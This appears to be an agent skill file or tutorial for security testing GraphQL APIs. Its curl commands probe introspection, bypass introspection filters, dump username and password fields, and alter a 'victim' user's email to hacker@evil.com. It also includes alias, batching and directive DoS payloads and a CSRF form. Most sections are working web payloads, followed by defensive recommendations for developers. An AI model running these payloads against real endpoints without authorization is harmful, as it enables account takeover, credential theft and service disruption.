GraphQL Security Testing
A comprehensive skill for security testing GraphQL endpoints, from initial discovery through vulnerability assessment.
Quick Start
# Detect if a URL hosts GraphQL
curl -s -X POST -H "Content-Type: application/json" \
-d '{"query": "{__typename}"}' https://target.com/graphql
# Expected response for GraphQL endpoint:
# {"data": {"__typename": "Query"}}
Workflow
1. Discovery and Fingerprinting
Find GraphQL endpoints by testing common paths:
/graphql/graphiql/graphql.php/graphql/console/api/api/graphql/graphql/api/graphql/graphql
Fingerprint the GraphQL engine using graphw00f:
pip install graphw00f
graphw00f https://target.com/graphql
This identifies the backend (Apollo, GraphQL-Java, async-graphql, etc.) which helps prioritize known vulnerabilities.
2. Introspection Enumeration
Check if introspection is enabled:
# Basic schema query
curl -X POST -H "Content-Type: application/json" \
-d '{"query": "{__schema{types{name}}}"}' https://target.com/graphql
# Full schema with fields and arguments
curl -X POST -H "Content-Type: application/json" \
-d '{"query": "{__schema{types{name,fields{name,args{name,description,type{name,kind,ofType{name,kind}}}}}}}"}' https://target.com/graphql
Use the bundled script for automated introspection:
./scripts/graphql-introspect.sh https://target.com/graphql
Visualize the schema with GraphQL Voyager if introspection is enabled.
3. Test Error Handling
Check if errors leak sensitive information:
# Empty query
curl -X POST -H "Content-Type: application/json" \
-d '{"query": "{}"}' https://target.com/graphql
# Invalid field
curl -X POST -H "Content-Type: application/json" \
-d '{"query": "{thisdefinitelydoesnotexist}"}' https://target.com/graphql
Verbose errors can reveal schema details, field names, and internal logic.
4. Query Enumeration
Identify queryable objects from the schema. Look for queryType in introspection results.
Extract data by querying exposed fields:
# Query a simple object
curl -X POST -H "Content-Type: application/json" \
-d '{"query": "{flags{name,value}}"}' https://target.com/graphql
# Query with arguments (brute force IDs if needed)
curl -X POST -H "Content-Type: application/json" \
-d '{"query": "{user(uid:1){username,password}}"}' https://target.com/graphql
Search for empty string bypass - some APIs dump all data when searching with empty strings:
# If you can search by string field
curl -X POST -H "Content-Type: application/json" \
-d '{"query": "{theusers(description:""){username,password}}"}' https://target.com/graphql
5. Mutation Testing
Find mutations in the schema (look for mutationType in introspection).
Test mutation operations:
# Example: add a movie
curl -X POST -H "Content-Type: application/json" \
-d '{"query": "mutation{addMovie(name:\"Test\",rating:\"5.0/10\",releaseYear:2024){name,rating}}"}' https://target.com/graphql
Test authorization bypass - try modifying other users' data:
# Attempt to update another user's profile
curl -X POST -H "Content-Type: application/json" \
-d '{"operationName":"updateProfile","variables":{"username":"victim","data":{"email":"hacker@evil.com"}},"query":"mutation updateProfile($username:String!,$data:ProfileInput!){updateProfile(username:$username,data:$data){id}}"}' https://target.com/graphql
6. Bypass Introspection Defenses
If introspection is blocked, try these bypasses:
Add whitespace/newlines after __schema:
curl -X POST -H "Content-Type: application/json" \
-d '{"query": "query{__schema\n{queryType{name}}}"}' https://target.com/graphql
Try GET requests:
curl -s "https://target.com/graphql?query={__schema{types{name}}}"
Try form-urlencoded POST:
curl -X POST -H "Content-Type: application/x-www-form-urlencoded" \
-d 'query={__schema{types{name}}}' https://target.com/graphql
Use schema reconstruction tools:
- Clairvoyance - Reconstructs schema from error messages
- GraphQuail - Burp extension that builds schema from observed queries
- InQL - Advanced GraphQL testing with schema bruteforcing
7. Test for Common Vulnerabilities
CSRF - Test if form-urlencoded POST is accepted without CSRF tokens:
# Create a CSRF test page
cat > csrf_test.html << 'EOF'
<form action="https://target.com/graphql" method="POST">
<input type="hidden" name="query" value='{"mutation":"addMovie(name:\"Hacked\",rating:\"1/10\")"}'>
</form>
EOF
Rate limit bypass with aliases:
curl -X POST -H "Content-Type: application/json" \
-d '{"query": "query{check1:isValidDiscount(code:1){valid}check2:isValidDiscount(code:2){valid}check3:isValidDiscount(code:3){valid}}"}' https://target.com/graphql
Batching attacks - Send multiple queries in one request:
curl -X POST -H "Content-Type: application/json" \
-d '[{"query":"{__typename}"},{"query":"{__typename}"},{"query":"{__typename}"}]' https://target.com/graphql
8. DoS Testing
Use the bundled script to generate DoS payloads:
./scripts/graphql-dos-payloads.sh
Alias overloading - Repeat fields with aliases:
# Generates 100+ aliases for the same field
curl -X POST -H "Content-Type: application/json" \
-d '{"query": "{a1:__typename a2:__typename a3:__typename ...}"}' https://target.com/graphql
Directive overloading - Repeat directives:
curl -X POST -H "Content-Type: application/json" \
-d '{"query": "{__typename @include(if:true) @include(if:true) @include(if:true)}"}' https://target.com/graphql
Field duplication - Repeat the same field:
curl -X POST -H "Content-Type: application/json" \
-d '{"query": "{__typename __typename __typename ...}"}' https://target.com/graphql
9. WebSocket Testing
Check for GraphQL over WebSocket which might bypass WAF:
// Test WebSocket connection
ws = new WebSocket("wss://target.com/graphql", "graphql-ws")
ws.onopen = function() {
ws.send(JSON.stringify({
type: "GQL.START",
id: "1",
payload: {
query: "{__schema{types{name}}}"}
}))
}
10. Check for Known CVEs
After fingerprinting, check for known vulnerabilities:
| CVE | Affected | Test |
|---|---|---|
| CVE-2024-47614 | async-graphql < 7.0.10 | Directive overload with @include |
| CVE-2024-40094 | graphql-java < 19.11 | Recursive fragment bypass |
| CVE-2023-23684 | WPGraphQL ≤ 1.14.5 | SSRF via createMediaItem mutation |
Tools
Essential tools for GraphQL testing:
| Tool | Purpose |
|---|---|
| graphw00f | Engine fingerprinting |
| graphql-cop | Misconfiguration testing |
| InQL | Advanced testing, schema bruteforcing |
| GraphCrawler | Schema enumeration, auth testing |
| batchql | Batch query testing |
| clairvoyance | Schema reconstruction |
| GraphQLmap | CLI client with attack automation |
Defensive Recommendations
For developers securing GraphQL endpoints:
- Disable introspection in production
- Implement rate limiting per IP and per user
- Use CSRF tokens for all mutations
- Validate and sanitize all inputs
- Implement query depth/complexity limits
- Use graphql-armor middleware for automatic protection
- Enable proper authentication and authorization
- Log and monitor for unusual query patterns
References
- GraphQL Threat Matrix
- PortSwigger GraphQL Security
- PayloadsAllTheThings - GraphQL
- graphql-armor - Defensive middleware